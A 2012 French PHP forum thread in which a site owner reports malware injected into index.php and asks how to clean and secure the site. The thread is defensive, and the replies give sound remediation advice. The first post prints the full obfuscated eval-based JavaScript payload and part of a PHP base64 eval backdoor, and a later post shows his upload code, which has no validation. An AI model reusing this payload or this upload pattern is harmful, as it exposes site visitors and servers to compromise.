Virus Javascript

VaN
Mammouth du PHP | 1107 Messages

02 janv. 2012, 10:50

Bonjour,

durant les vacances, je me suis aperçu qu'un virus était apparu sur l'un des sites que je gère. Si j'affiche la source de mon fichier index.php, voici ce qui a été inséré à la première ligne :

Code : Tout sélectionner

<script>var s=new String();a=(new Function("","")+"").substr(3-1,4);if((a=="unct")||(a=="ncti"))a=(document.write+"").substr(2,4);if((a=="unct")||(a=="ncti")){r=1;c=String;}if(r&&document.createTextNode)u=2;e=window['e'+'v'+'al'];m=new Array(4.5*u,18/u,52.5*u,204/u,16*u,80/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u,42*u,194/u,51.5*u,156/u,48.5*u,218/u,50.5*u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u,20*u,82/u,29.5*u,18/u,4.5*u,250/u,16*u,202/u,54*u,230/u,50.5*u,64/u,61.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,238/u,57*u,210/u,58*u,202/u,20*u,68/u,30*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,64/u,57.5*u,228/u,49.5*u,122/u,19.5*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,49.5*u,234/u,59.5*u,214/u,49.5*u,222/u,61*u,226/u,49*u,92/u,50*u,208/u,49.5*u,224/u,23*u,196/u,52.5*u,244/u,23.5*u,126/u,51.5*u,222/u,30.5*u,98/u,19.5*u,64/u,59.5*u,210/u,50*u,232/u,52*u,122/u,19.5*u,98/u,24*u,78/u,16*u,208/u,50.5*u,210/u,51.5*u,208/u,58*u,122/u,19.5*u,98/u,24*u,78/u,16*u,230/u,58*u,242/u,54*u,202/u,30.5*u,78/u,59*u,210/u,57.5*u,210/u,49*u,210/u,54*u,210/u,58*u,242/u,29*u,208/u,52.5*u,200/u,50*u,202/u,55*u,118/u,56*u,222/u,57.5*u,210/u,58*u,210/u,55.5*u,220/u,29*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u,232/u,50.5*u,118/u,54*u,202/u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u,224/u,29*u,96/u,29.5*u,78/u,31*u,120/u,23.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,124/u,17*u,82/u,29.5*u,18/u,4.5*u,250/u,4.5*u,18/u,51*u,234/u,55*u,198/u,58*u,210/u,55.5*u,220/u,16*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u,20*u,82/u,61.5*u,18/u,4.5*u,18/u,59*u,194/u,57*u,64/u,51*u,64/u,30.5*u,64/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,198/u,57*u,202/u,48.5*u,232/u,50.5*u,138/u,54*u,202/u,54.5*u,202/u,55*u,232/u,20*u,78/u,52.5*u,204/u,57*u,194/u,54.5*u,202/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,50.5*u,232/u,32.5*u,232/u,58*u,228/u,52.5*u,196/u,58.5*u,232/u,50.5*u,80/u,19.5*u,230/u,57*u,198/u,19.5*u,88/u,19.5*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,49.5*u,234/u,59.5*u,214/u,49.5*u,222/u,61*u,226/u,49*u,92/u,50*u,208/u,49.5*u,224/u,23*u,196/u,52.5*u,244/u,23.5*u,126/u,51.5*u,222/u,30.5*u,98/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,236/u,52.5*u,230/u,52.5*u,196/u,52.5*u,216/u,52.5*u,232/u,60.5*u,122/u,19.5*u,208/u,52.5*u,200/u,50*u,202/u,55*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,224/u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u,232/u,50.5*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,216/u,50.5*u,204/u,58*u,122/u,19.5*u,96/u,19.5*u,118/u,51*u,92/u,57.5*u,232/u,60.5*u,216/u,50.5*u,92/u,58*u,222/u,56*u,122/u,19.5*u,96/u,19.5*u,118/u,51*u,92/u,57.5*u,202/u,58*u,130/u,58*u,232/u,57*u,210/u,49*u,234/u,58*u,202/u,20*u,78/u,59.5*u,210/u,50*u,232/u,52*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,50.5*u,232/u,32.5*u,232/u,58*u,228/u,52.5*u,196/u,58.5*u,232/u,50.5*u,80/u,19.5*u,208/u,50.5*u,210/u,51.5*u,208/u,58*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u,42*u,194/u,51.5*u,156/u,48.5*u,218/u,50.5*u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,23*u,194/u,56*u,224/u,50.5*u,220/u,50*u,134/u,52*u,210/u,54*u,200/u,20*u,204/u,20.5*u,118/u,4.5*u,18/u,62.5*u);if((a=="unct")||(a=="ncti"))mm=c['fromCharCod'+'e'];for(i=0;i<m.length;i++)s+=mm(((a=="unct")||(a=="ncti"))?m[i]:123);if((a=="unct")||(a=="ncti"))e(s);</script>
Je suis donc allé télécharger le fichier index.php sur le FTP, et je trouve ceci à la première ligne :

Code : Tout sélectionner

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNF [...] jBhU0lwS1dVb2N5azdQQzl6WTNKcGNIUSsnKSk7DQp9'));
Une conséquence visible de ce virus est que mon anti-virus devient fou, dès que j'affiche la page. J'imagine qu'il fait pas mal de dégâts sur des systèmes mal protégés.

Mon site propose un formulaire d'inscription, avec des champs input de type text et un champ input de type file. J'ai utilisé mysql_real_escape_string() pour éviter les injections SQL, mais apparement, cela ne suffit pas.

Comment puis-je sécuriser mon site pour éviter que ce virus revienne ?

Question subsidiaire, comment puis-je faire pour "remonter à la source", savoir qui essaye de placer ce virus sur mon site ?

ViPHP
xTG
ViPHP | 7331 Messages

02 janv. 2012, 11:49

Ton type file, tu le protèges comment ?

VaN
Mammouth du PHP | 1107 Messages

02 janv. 2012, 12:06

Ton type file, tu le protèges comment ?
Je ne le protèges pas vraiment.
Je le renomme, avant de l'uploader :
$file_extension = Object_Model::file_get_extension($this->cv['name']);
		
$file_name = $this->id . '-' . Object_Model::string_rewrite_value($this->prenom_nom()) . '.' . $file_extension;
		
move_uploaded_file($this->cv['tmp_name'], ROOT_PATH . 'uploads/users/cv/' .$file_name);
		
Sql::sql_query(sprintf("UPDATE " . TABLES__USERS . " SET cv = '%s' WHERE id = %d", $file_name, $this->id));
		
$this->cv = $file_name;
Quelles protections devrai-je mettre en place ?

ViPHP
ViPHP | 2287 Messages

02 janv. 2012, 13:20

1/ Tu mets tout ton site en panne le temps de le purger.
2/ Vérifie les cron jobs & tâches planifiées.
3/ Tu passes tout le code en revue, en commençant par les applications tierces (CMS, forums...) en vérifiant que les versions sont bien à jour (mise à jour fortement recommandée au besoin).
4/ Tu vérifies ton propre code en faisant particulièrement attention à tout ce qui ressemble à une écriture (fichiers & uploads en particulier, bdd ensuite).
5/ Vérifie aussi ta configuration php, ça ne mange pas de pain (fait passer un maximum d'options en mode restrictif/production, safe_mode, open_basedir, display_errors, url_fopen etc).
6/ Comme tu as identifié un fichier php compromis, essaye de voir si d'autres fichiers ont été compromis dans la même tranche de temps (selon la date de modification du fichier)
7/ Tu rouvres le site progressivement, morceau par morceau, au fil des nettoyages effectués.
8/ Sois vigilant des récidives (si ça arrive c'est que tu as oublié quelquechose, il faudra recommencer).

Fais attention aussi à la configuration apache, aux .htaccess...

NB : tout ça peut te prendre du temps, ça ne sert à rien de le faire à moitié, il faut être exhaustif.
if(!@work()){ Nespresso(); } else { what(); }
______________________________

ViPHP
ViPHP | 1996 Messages

06 janv. 2012, 14:57

As tu trouver d'où venait l'attaque ?
It is nice to be important but it is more important to be nice
http://www.aureuswebfactory.fr

Eléphant du PHP | 245 Messages

09 janv. 2012, 16:08

Il y a des outils comme md5summer pour vérifier l'intégrité de tes fichiers sur ton serveur.

Sinon, pour sécuriser un peu l'upload, tu as des fonctions PHP sur les types MIME de fichiers :
$h = finfo_open();
$retour = finfo_file($h, $_FILES['fichier']['tmp_name']);
finfo_close($h);